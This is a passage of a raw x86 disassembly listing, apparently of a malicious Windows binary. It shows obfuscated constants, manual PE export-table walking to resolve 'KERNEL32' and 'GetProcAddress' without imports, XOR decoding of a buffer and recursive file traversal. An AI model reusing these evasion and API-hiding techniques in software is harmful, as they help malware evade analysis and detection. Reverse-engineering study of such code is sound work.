		mov	[edi], eax
		mov	eax, 80004002h


loc_43DAFC:				; CODE XREF: sub_43DA81+2Aj
					; sub_43DA81+4Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_43DA81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DB03	proc near		; CODE XREF: sub_43C114+142p
					; sub_43DB03+29Dp ...

var_268		= byte ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= word ptr -258h
var_256		= word ptr -256h
var_252		= word ptr -252h
var_250		= word ptr -250h
var_24E		= word ptr -24Eh
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		push	ebx
		push	esi
		push	edi
		push	0
		call	ds:dword_50C924
		xor	ebx, ebx
		inc	ebx
		push	offset byte_54FEAF
		call	sub_43AAF7
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50C928
		add	esp, 14h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_4CA228
		mov	[ebp+var_248], eax
		mov	ecx, dword_54F1B4
		add	ecx, dword_54F158
		sub	ecx, 6
		neg	ecx
		cmp	eax, ecx
		jnz	loc_43DD54
		mov	eax, dword_54F114
		add	eax, 3FDh
		add	eax, dword_54F168
		cmp	[ebp+arg_24], eax
		jnb	short loc_43DB9C
		mov	eax, dword_54F1BC
		add	eax, 97h
		movsx	edx, word_54F1E8
		add	eax, edx
		cmp	[ebp+arg_24], eax
		jnz	loc_43DE1D


loc_43DB9C:				; CODE XREF: sub_43DB03+7Bj
		movsx	eax, word_54F0FC
		sub	eax, 2
		cmp	[ebp+arg_20], eax
		ja	loc_43DE1D
		movsx	eax, word_54F118
		add	eax, 30D38h
		cmp	[ebp+arg_24], eax
		ja	loc_43DE1D
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	ds:dword_54DB10
		mov	[ebp+var_260], eax
		mov	eax, dword_54F1F8
		add	eax, dword_54F170
		sub	eax, 7
		cmp	[ebp+var_260], eax
		jge	short loc_43DBFB
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_18]
		movsd
		movsd
		jmp	short loc_43DC06
; ---------------------------------------------------------------------------


loc_43DBFB:				; CODE XREF: sub_43DB03+E9j
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_8]
		movsd
		movsd


loc_43DC06:				; CODE XREF: sub_43DB03+F6j
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	ds:dword_54CA78
		movsx	eax, word_54F190
		movzx	edx, [ebp+var_24E]
		movzx	ecx, [ebp+var_250]
		mov	esi, dword_54F134
		add	esi, 3Ah
		imul	ecx, esi
		add	edx, ecx
		movzx	ecx, [ebp+var_252]
		mov	esi, dword_54F17C
		add	esi, 0Dh
		add	esi, dword_54F170
		imul	ecx, esi
		movsx	esi, word_54F1C4
		mov	edi, dword_54F234
		lea	esi, [esi+edi+2Ch]
		imul	ecx, esi
		add	edx, ecx
		movzx	ecx, [ebp+var_256]
		mov	esi, dword_54F0F0
		add	esi, 18h
		add	esi, dword_54F158
		imul	ecx, esi
		mov	esi, eax
		add	esi, 10h
		imul	ecx, esi
		mov	esi, dword_54F1F8
		add	esi, 34h
		add	esi, dword_54F200
		imul	ecx, esi
		add	edx, ecx
		movzx	ecx, [ebp+var_258]
		mov	esi, dword_54F1B8
		add	esi, 4
		add	esi, dword_54F184
		imul	ecx, esi
		mov	esi, dword_54F220
		add	esi, 1Ah
		movsx	edi, word_54F0F4
		add	esi, edi
		imul	ecx, esi
		movsx	esi, word_54F0C4
		lea	eax, [eax+esi+0Ah]
		imul	ecx, eax
		mov	eax, dword_54F23C
		add	eax, 34h
		add	eax, dword_54F1A0
		imul	ecx, eax
		mov	eax, edx
		add	eax, ecx
		mov	[ebp+var_25C], eax
		mov	edx, ds:dword_446030
		cmp	eax, edx
		ja	loc_43DE1D
		sub	edx, eax
		mov	eax, dword_54F0D4
		add	eax, 8
		movsx	ecx, word_54F1E8
		add	eax, ecx
		cmp	edx, eax
		jnb	loc_43DE1D
		mov	eax, dword_54F1BC
		add	eax, 9Eh
		cmp	[ebp+arg_24], eax
		jz	short loc_43DD42
		push	0
		push	[ebp+arg_0]
		call	sub_444250
		add	esp, 8
		jmp	loc_43DE1D
; ---------------------------------------------------------------------------


loc_43DD42:				; CODE XREF: sub_43DB03+22Bj
		push	1
		push	[ebp+arg_0]
		call	sub_444250
		add	esp, 8
		jmp	loc_43DE1D
; ---------------------------------------------------------------------------


loc_43DD54:				; CODE XREF: sub_43DB03+62j
		cmp	[ebp+var_112], 2Eh
		jz	loc_43DE19
		push	offset word_54FEA6
		call	sub_43AAF7
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50C928
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43DB03
		add	esp, 158h
		jmp	short loc_43DE19
; ---------------------------------------------------------------------------


loc_43DDAD:				; CODE XREF: sub_43DB03+318j
		lea	eax, [ebp+var_13E]
		push	eax
		push	[ebp+var_248]
		call	ds:dword_447FC8
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_43DE1D
		cmp	[ebp+var_112], 2Eh
		jz	short loc_43DE19
		push	offset byte_54FE9D
		call	sub_43AAF7
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50C928
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43DB03
		add	esp, 158h


loc_43DE19:				; CODE XREF: sub_43DB03+258j
					; sub_43DB03+2A8j ...
		or	ebx, ebx
		jnz	short loc_43DDAD


loc_43DE1D:				; CODE XREF: sub_43DB03+93j
					; sub_43DB03+A6j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43DB03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DE22	proc near		; CODE XREF: sub_43B535+164p
					; sub_43BA83+40p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_54F170
		sub	eax, 4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_43DE3E:				; CODE XREF: sub_43DE22+21j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43DE3E
		mov	esi, eax
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax]
		or	eax, 0FFFFFFFFh


loc_43DE4F:				; CODE XREF: sub_43DE22+32j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43DE4F
		mov	[ebp+var_C], eax
		mov	eax, dword_54F1AC
		sub	eax, 2
		mov	[ebp+var_4], eax
		jmp	short loc_43DEB3
; ---------------------------------------------------------------------------


loc_43DE66:				; CODE XREF: sub_43DE22+97j
		mov	ebx, dword_54F130
		dec	ebx
		mov	eax, dword_54F0B0
		mov	edi, eax
		add	edi, dword_54F17C
		sub	edi, 0Ch
		jmp	short loc_43DEAC
; ---------------------------------------------------------------------------


loc_43DE7F:				; CODE XREF: sub_43DE22+8Cj
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+eax]
		mov	edx, [ebp+arg_4]
		movsx	edx, byte ptr [edx+edi]
		cmp	eax, edx
		jnz	short loc_43DEB0
		inc	ebx
		cmp	ebx, esi
		jnz	short loc_43DEAB
		inc	[ebp+var_8]
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jnz	short loc_43DEAB
		mov	eax, [ebp+var_4]
		jmp	short loc_43DEC0
; ---------------------------------------------------------------------------


loc_43DEAB:				; CODE XREF: sub_43DE22+77j
					; sub_43DE22+82j
		inc	edi


loc_43DEAC:				; CODE XREF: sub_43DE22+5Bj
		cmp	edi, esi
		jb	short loc_43DE7F


loc_43DEB0:				; CODE XREF: sub_43DE22+72j
		inc	[ebp+var_4]


loc_43DEB3:				; CODE XREF: sub_43DE22+42j
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_4], eax
		jb	short loc_43DE66
		mov	eax, 0FFFFh


loc_43DEC0:				; CODE XREF: sub_43DE22+87j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43DE22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DEC5	proc near		; CODE XREF: sub_440B82+294p
					; sub_441F06+15p ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword_54F250, 0
		jnz	short loc_43DEED
		push	offset dword_54E050
		call	ds:dword_447FCC
		mov	dword_54F250, 1


loc_43DEED:				; CODE XREF: sub_43DEC5+11j
		mov	esi, dword_54F12C
		add	esi, dword_54F1E0
		sub	esi, 6
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+2]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		mov	edx, dword_54F1C0
		inc	edx
		imul	ebx, edx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, dword_54F1FC
		add	edx, 5
		add	edx, dword_54F130
		cmp	eax, edx
		jz	loc_43DFB9
		push	offset dword_54E050
		call	ds:dword_54C95C
		mov	eax, dword_54F134
		add	eax, 4
		mov	[ebp+var_2], ax
		jmp	short loc_43DF74
; ---------------------------------------------------------------------------


loc_43DF52:				; CODE XREF: sub_43DEC5+B9j
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+4]
		xor	edx, ecx
		mov	[eax], dl
		movzx	eax, [ebp+var_2]
		mov	edx, dword_54F114
		inc	edx
		add	eax, edx
		mov	[ebp+var_2], ax


loc_43DF74:				; CODE XREF: sub_43DEC5+8Bj
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_43DF52
		mov	eax, dword_54F114
		dec	eax
		mov	edx, dword_54F1F4
		add	edx, dword_54F22C
		sub	edx, 10h
		mov	[edi+eax], dl
		movsx	eax, word_54F144
		sub	eax, 2
		mov	edx, dword_54F178
		sub	edx, 9
		mov	[edi+eax], dl
		push	offset dword_54E050
		call	ds:dword_4CB940


loc_43DFB9:				; CODE XREF: sub_43DEC5+6Ej
		lea	eax, [edi+6]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43DEC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DFC1	proc near		; CODE XREF: sub_43B76D+218p

var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_281		= byte ptr -281h
var_267		= byte ptr -267h
var_252		= byte ptr -252h
var_245		= byte ptr -245h
var_230		= dword	ptr -230h
var_22A		= byte ptr -22Ah
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= byte ptr -220h
var_21F		= byte ptr -21Fh
var_215		= byte ptr -215h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_103		= byte ptr -103h
var_102		= byte ptr -102h
var_101		= byte ptr -101h
var_FE		= byte ptr -0FEh
var_FD		= byte ptr -0FDh
var_FC		= byte ptr -0FCh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		movsx	esi, word_54F138
		movsx	edx, word_54F0FC
		lea	ecx, [esi+edx+0Bh]
		shr	edi, cl
		movsx	esi, word_54F0C4
		mov	edx, dword_54F1EC
		lea	esi, [esi+edx+7]
		mov	ecx, esi
		mov	ebx, edi
		shl	ebx, cl


loc_43DFFB:				; CODE XREF: sub_43DFC1+55j
					; sub_43DFC1+9Bj ...
		mov	[ebp+var_114], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_43E018
		mov	eax, dword_54F154
		add	eax, 0FFF8h
		sub	ebx, eax
		jmp	short loc_43DFFB
; ---------------------------------------------------------------------------


loc_43E018:				; CODE XREF: sub_43DFC1+47j
		mov	eax, dword_54F0F0
		add	eax, 33h
		movsx	edx, word_54F0D0
		add	eax, edx
		mov	edx, ebx
		add	edx, eax
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_118], edx
		mov	eax, [ebp+arg_0]
		cmp	edx, eax
		jbe	short loc_43E05E
		movsx	eax, word_54F198
		mov	edx, dword_54F19C
		lea	eax, [eax+edx+0FFFBh]
		sub	ebx, eax
		jmp	short loc_43DFFB
; ---------------------------------------------------------------------------


loc_43E05E:				; CODE XREF: sub_43DFC1+83j
		mov	eax, [ebp+var_118]
		mov	[ebp+var_11C], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_43E085
		mov	eax, dword_54F214
		add	eax, 0FFFDh
		sub	ebx, eax
		jmp	loc_43DFFB
; ---------------------------------------------------------------------------


loc_43E085:				; CODE XREF: sub_43DFC1+B1j
		mov	eax, [ebp+var_11C]
		mov	eax, [eax+78h]
		mov	[ebp+var_120], eax
		mov	ecx, ebx
		add	ecx, eax
		mov	[ebp+var_110], ecx
		mov	eax, ecx
		mov	edx, ebx
		add	edx, [eax+0Ch]
		push	edx
		lea	eax, [ebp+var_103]
		push	eax
		call	sub_4455D4
		mov	eax, dword_54F1F8
		sub	eax, 3
		mov	[ebp+var_4], eax
		jmp	short loc_43E0E1
; ---------------------------------------------------------------------------


loc_43E0BF:				; CODE XREF: sub_43DFC1+13Fj
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_103]
		cmp	al, 61h
		jle	short loc_43E0DE
		cmp	al, 7Ah
		jge	short loc_43E0DE
		mov	eax, [ebp+var_4]
		lea	eax, [ebp+eax+var_103]
		sub	byte ptr [eax],	20h


loc_43E0DE:				; CODE XREF: sub_43DFC1+10Aj
					; sub_43DFC1+10Ej
		inc	[ebp+var_4]


loc_43E0E1:				; CODE XREF: sub_43DFC1+FCj
		mov	eax, [ebp+var_4]
		movsx	eax, [ebp+eax+var_103]
		mov	edx, dword_54F108
		movsx	ecx, word_54F0CC
		add	edx, ecx
		sub	edx, 9
		cmp	eax, edx
		jnz	short loc_43E0BF
		cmp	[ebp+var_101], 52h
		jz	short loc_43E13C
		cmp	[ebp+var_FD], 33h
		jz	short loc_43E13C
		cmp	[ebp+var_102], 45h
		jz	short loc_43E13C
		cmp	[ebp+var_FE], 4Ch
		jz	short loc_43E13C
		cmp	[ebp+var_103], 4Bh
		jz	short loc_43E13C
		cmp	[ebp+var_FC], 32h
		jnz	loc_43E35F


loc_43E13C:				; CODE XREF: sub_43DFC1+148j
					; sub_43DFC1+151j ...
		mov	eax, dword_54F158
		sub	eax, 3
		mov	[ebp+var_108], eax
		jmp	loc_43E34A
; ---------------------------------------------------------------------------


loc_43E14F:				; CODE XREF: sub_43DFC1+398j
		mov	eax, [ebp+var_108]
		mov	ecx, dword_54F168
		add	ecx, 2
		mul	ecx
		mov	[ebp+var_228], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+20h]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_224], edx
		push	edx
		lea	eax, [ebp+var_21F]
		push	eax
		call	sub_4455D4
		mov	eax, dword_54F1E0
		cmp	[ebp+eax+var_220], 50h
		jnz	loc_43E344
		mov	eax, dword_54F160
		cmp	byte ptr [ebp+eax+var_224], 74h
		jnz	loc_43E344
		mov	eax, dword_54F24C
		mov	edx, eax
		add	edx, eax
		cmp	[ebp+edx+var_22A], 41h
		jnz	loc_43E344
		mov	eax, dword_54F19C
		add	eax, dword_54F0B0
		cmp	byte ptr [ebp+eax+var_228], 47h
		jnz	loc_43E344
		movsx	eax, word_54F0FC
		add	eax, dword_54F1D8
		cmp	[ebp+eax+var_21F], 63h
		jnz	loc_43E344
		movsx	eax, word_54F218
		cmp	[ebp+eax+var_215], 72h
		jnz	loc_43E344
		mov	eax, [ebp+var_108]
		mov	ecx, dword_54F214
		movsx	esi, word_54F0B4
		add	ecx, esi
		sub	ecx, 6
		mul	ecx
		mov	[ebp+var_288], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+24h]
		mov	[ebp+var_114], edx
		movzx	eax, word ptr [edx]
		mov	[ebp-22Ch], eax
		mov	ecx, dword_54F12C
		sub	ecx, 4
		mul	ecx
		mov	[ebp+var_28C], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+1Ch]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_230], edx
		lea	edi, [ebp+var_245]
		lea	esi, aLeavecriticals ; "LeaveCriticalSection"
		mov	ecx, 15h
		rep movsb
		lea	edi, [ebp+var_252]
		lea	esi, aCreatethread ; "CreateThread"
		mov	ecx, 0Dh
		rep movsb
		mov	dword_54F254, ebx
		mov	eax, [ebp+var_230]
		mov	ds:dword_4491AC, eax
		lea	edi, [ebp+var_267]
		lea	esi, aEntercriticals ; "EnterCriticalSection"
		mov	ecx, 15h
		rep movsb
		lea	edi, [ebp+var_281]
		lea	esi, aInitializecrit ; "InitializeCriticalSection"
		mov	ecx, 0Dh
		rep movsw
		lea	eax, [ebp+var_245]
		push	eax
		push	dword_54F254
		call	ds:dword_4491AC
		mov	ds:dword_4CB940, eax
		lea	eax, [ebp+var_281]
		push	eax
		push	dword_54F254
		call	ds:dword_4491AC
		mov	ds:dword_447FCC, eax
		lea	eax, [ebp+var_252]
		push	eax
		push	dword_54F254
		call	ds:dword_4491AC
		mov	ds:dword_54DF20, eax
		lea	eax, [ebp+var_267]
		push	eax
		push	dword_54F254
		call	ds:dword_4491AC
		mov	ds:dword_54C95C, eax
		jmp	short loc_43E35F
; ---------------------------------------------------------------------------


loc_43E344:				; CODE XREF: sub_43DFC1+1DEj
					; sub_43DFC1+1F1j ...
		inc	[ebp+var_108]


loc_43E34A:				; CODE XREF: sub_43DFC1+189j
		mov	eax, [ebp+var_110]
		mov	eax, [eax+18h]
		cmp	[ebp+var_108], eax
		jb	loc_43E14F


loc_43E35F:				; CODE XREF: sub_43DFC1+175j
					; sub_43DFC1+381j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43DFC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E364	proc near		; CODE XREF: sub_444839+211p

var_30037	= byte ptr -30037h
var_20038	= dword	ptr -20038h
var_20034	= dword	ptr -20034h
var_20030	= dword	ptr -20030h
var_2002C	= dword	ptr -2002Ch
var_20028	= dword	ptr -20028h
var_20024	= dword	ptr -20024h
var_20020	= byte ptr -20020h
var_2001C	= dword	ptr -2001Ch
var_20018	= dword	ptr -20018h
var_20014	= dword	ptr -20014h
var_20010	= dword	ptr -20010h
var_2000C	= dword	ptr -2000Ch
var_20008	= dword	ptr -20008h
var_20004	= dword	ptr -20004h
var_1FFFE	= byte ptr -1FFFEh
var_1FFFD	= byte ptr -1FFFDh
var_1FFFB	= byte ptr -1FFFBh
var_1FFFA	= byte ptr -1FFFAh
var_10004	= byte ptr -10004h
var_10002	= byte ptr -10002h
var_FFFF	= byte ptr -0FFFFh
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 30038h
		call	sub_4455B4
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20018]
		push	eax
		mov	eax, dword_54F14C
		add	eax, dword_54F110
		sub	eax, 0Bh
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, dword_54F11C
		sub	eax, 2
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+54h]
		mov	edi, eax
		mov	eax, dword_54F1DC
		add	eax, dword_54F1D4
		sub	eax, 8
		cmp	edi, eax
		jnz	loc_43E775


loc_43E3BC:				; CODE XREF: sub_43E364+3F0j
		mov	eax, dword_54F0B8
		add	eax, dword_54F1FC
		sub	eax, 4
		push	eax
		lea	eax, [ebp+var_20024]
		push	eax
		movsx	eax, word_54F1F0
		sub	eax, 5
		push	eax
		mov	eax, [ebp+var_20018]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+0Ch]
		mov	edi, eax
		movsx	eax, word_54F208
		movsx	edx, word_54F0C4
		add	eax, edx
		sub	eax, 7
		cmp	edi, eax
		jnz	loc_43E759
		mov	esi, dword_54F110
		sub	esi, 9
		lea	eax, [ebp+var_1FFFE]
		push	eax
		push	[ebp+var_20024]
		call	sub_43BBFE
		add	esp, 8
		and	[ebp+var_20004], 0
		mov	eax, dword_54F24C
		add	eax, dword_54F160
		sub	eax, 10h
		mov	[ebp+var_20028], eax
		mov	[ebp+var_20014], 10h
		movsx	eax, word_54F0CC
		add	eax, dword_54F174
		sub	eax, 8
		mov	[ebp+var_20008], eax
		movsx	eax, word_54F1A8
		mov	[ebp+var_2000C], eax
		mov	[ebp+var_20010], 2
		mov	eax, dword_54F0C0
		add	eax, dword_54F23C
		sub	eax, 2
		push	eax
		lea	eax, [ebp+var_20014]
		push	eax
		lea	eax, [ebp+var_20004]
		push	eax
		lea	eax, [ebp+var_20028]
		push	eax
		push	[ebp+var_20024]
		lea	eax, [ebp+arg_14]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, dword_54F0C8
		add	eax, dword_54F150
		sub	eax, 5
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+44h]
		mov	edi, eax
		mov	eax, dword_54F0D8
		movsx	edx, word_54F0CC
		add	eax, edx
		sub	eax, 7
		cmp	edi, eax
		jnz	loc_43E5FA
		movsx	eax, word_54F1C4
		mov	esi, eax
		add	esi, dword_54F184
		sub	esi, 0Bh
		cmp	[ebp+var_1FFFE], 44h
		jnz	short loc_43E4FF
		cmp	[ebp+var_1FFFD], 50h
		jz	short loc_43E504


loc_43E4FF:				; CODE XREF: sub_43E364+190j
		jmp	loc_43E5FA
; ---------------------------------------------------------------------------


loc_43E504:				; CODE XREF: sub_43E364+199j
		cmp	[ebp+var_1FFFB], 50h
		jnz	short loc_43E516
		cmp	[ebp+var_1FFFA], 49h
		jz	short loc_43E51B


loc_43E516:				; CODE XREF: sub_43E364+1A7j
		jmp	loc_43E5FA
; ---------------------------------------------------------------------------


loc_43E51B:				; CODE XREF: sub_43E364+1B0j
		mov	eax, [ebp+var_20004]
		mov	[ebp+var_2002C], eax
		mov	eax, [ebp+var_20028]
		mov	[ebp+var_20030], eax
		lea	eax, [ebp+var_20020]
		push	eax
		mov	eax, dword_54F1F4
		mov	edx, eax
		add	edx, dword_54F184
		sub	edx, 0Dh
		push	edx
		mov	edx, dword_54F14C
		sub	edx, 2
		push	edx
		mov	edx, dword_54F10C
		add	edx, eax
		mov	eax, edx
		sub	eax, 0Bh
		push	eax
		movsx	eax, word_54F210
		add	eax, dword_54F1F8
		sub	eax, 8
		push	eax
		mov	eax, dword_54F0EC
		dec	eax
		push	eax
		lea	eax, [ebp+var_20030]
		push	eax
		call	ds:dword_446028
		mov	[ebp+var_20034], eax
		mov	ecx, dword_54F0E4
		add	ecx, dword_54F188
		sub	ecx, 0Ah
		cmp	eax, ecx
		jnz	short loc_43E5B8
		movsx	eax, word_54F0FC
		movsx	edx, word_54F09C
		mov	esi, eax
		add	esi, edx
		sub	esi, 8
		jmp	short loc_43E5FA
; ---------------------------------------------------------------------------


loc_43E5B8:				; CODE XREF: sub_43E364+23Bj
		movsx	eax, word_54F104
		mov	esi, eax
		add	esi, dword_54F20C
		sub	esi, 2
		lea	eax, [ebp+var_30037]
		push	eax
		push	[ebp+var_2001C]
		call	sub_43BBFE
		add	esp, 8
		movsx	eax, word_54F218
		cmp	[ebp+var_2001C], eax
		jz	short loc_43E5FA
		push	[ebp+var_2001C]
		call	ds:dword_4495CC


loc_43E5FA:				; CODE XREF: sub_43E364+171j
					; sub_43E364:loc_43E4FFj ...
		mov	eax, dword_54F0D4
		mov	edx, dword_54F130
		add	edx, dword_54F1A0
		sub	edx, 9
		mov	[ebp+eax+var_10002], dl
		mov	[ebp+eax+var_10004], 50h
		mov	eax, dword_54F248
		mov	[ebp+eax+var_10002], 7Ch
		push	[ebp+arg_24]
		lea	eax, [ebp+var_FFFF]
		push	eax
		call	ds:dword_44602C
		push	offset dword_54FE98
		call	sub_43AAF7
		push	eax
		lea	ebx, [ebp+var_FFFF]
		push	ebx
		call	ds:dword_44602C
		push	offset byte_54FE7B
		call	sub_43AAF7
		mov	ebx, dword_54F24C
		sub	ebx, 8
		push	ebx
		push	eax
		push	[ebp+arg_24]
		call	sub_43DE22
		add	esp, 24h
		movsx	edx, word_54F1F0
		add	edx, 0FFF9h
		cmp	eax, edx
		jz	short loc_43E69B
		lea	eax, [ebp+var_1FFFE]
		push	eax
		lea	eax, [ebp+var_FFFF]
		push	eax
		call	sub_43F81A
		add	esp, 8
		jmp	short loc_43E6CA
; ---------------------------------------------------------------------------


loc_43E69B:				; CODE XREF: sub_43E364+31Dj
		lea	eax, [ebp+var_1FFFE]
		push	eax
		lea	eax, [ebp+var_FFFF]
		push	eax
		call	ds:dword_44602C
		push	offset word_54FE76
		call	sub_43AAF7
		push	eax
		lea	ebx, [ebp+var_FFFF]
		push	ebx
		call	ds:dword_44602C
		add	esp, 14h


loc_43E6CA:				; CODE XREF: sub_43E364+335j
		mov	eax, dword_54F1D0
		add	eax, dword_54F1F4
		sub	eax, 0Fh
		cmp	esi, eax
		jnz	short loc_43E6EA
		mov	eax, [ebp+var_20004]
		mov	[ebp+var_20038], eax
		jmp	short loc_43E6F6
; ---------------------------------------------------------------------------


loc_43E6EA:				; CODE XREF: sub_43E364+376j
		lea	eax, [ebp+var_30037]
		mov	[ebp+var_20038], eax


loc_43E6F6:				; CODE XREF: sub_43E364+384j
		push	[ebp+var_20038]
		lea	eax, [ebp+var_FFFF]
		push	eax
		call	ds:dword_44602C
		push	offset byte_54FE71
		call	sub_43AAF7
		push	eax
		lea	ebx, [ebp+var_FFFF]
		push	ebx
		call	ds:dword_44602C
		add	esp, 14h
		mov	eax, dword_54F22C
		add	eax, dword_54F0B0
		sub	eax, 0Ch
		cmp	[ebp+var_20004], eax
		jz	short loc_43E746
		push	[ebp+var_20004]
		call	ds:dword_48A1EC


loc_43E746:				; CODE XREF: sub_43E364+3D4j
		lea	eax, [ebp+var_FFFF]
		push	eax
		call	ds:dword_48A1E0
		pop	ecx
		jmp	loc_43E3BC
; ---------------------------------------------------------------------------


loc_43E759:				; CODE XREF: sub_43E364+9Cj
		movsx	eax, word_54F0CC
		dec	eax
		cmp	[ebp+var_20018], eax
		jz	short loc_43E775
		mov	eax, [ebp+var_20018]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43E775:				; CODE XREF: sub_43E364+52j
					; sub_43E364+403j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E364	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E77A	proc near		; CODE XREF: sub_43BE1F+3Ep
					; sub_43E77A+21Fp ...

var_259		= byte ptr -259h
var_258		= byte ptr -258h
var_257		= byte ptr -257h
var_256		= byte ptr -256h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+arg_8], 0
		jz	short loc_43E7A8
		mov	eax, dword_54F15C
		add	eax, dword_54F130
		sub	eax, 5
		mov	[ebp+var_248], eax
		jmp	loc_43E82E
; ---------------------------------------------------------------------------


loc_43E7A8:				; CODE XREF: sub_43E77A+13j
		mov	edx, [ebp+arg_4]
		movsx	ecx, word_54F0F8
		sub	ecx, 5
		cmp	ds:dword_4495E0[edx*4],	ecx
		jnz	short loc_43E7DA
		push	esi
		call	ds:dword_4495BC
		mov	eax, dword_54F1EC
		add	eax, dword_54F134
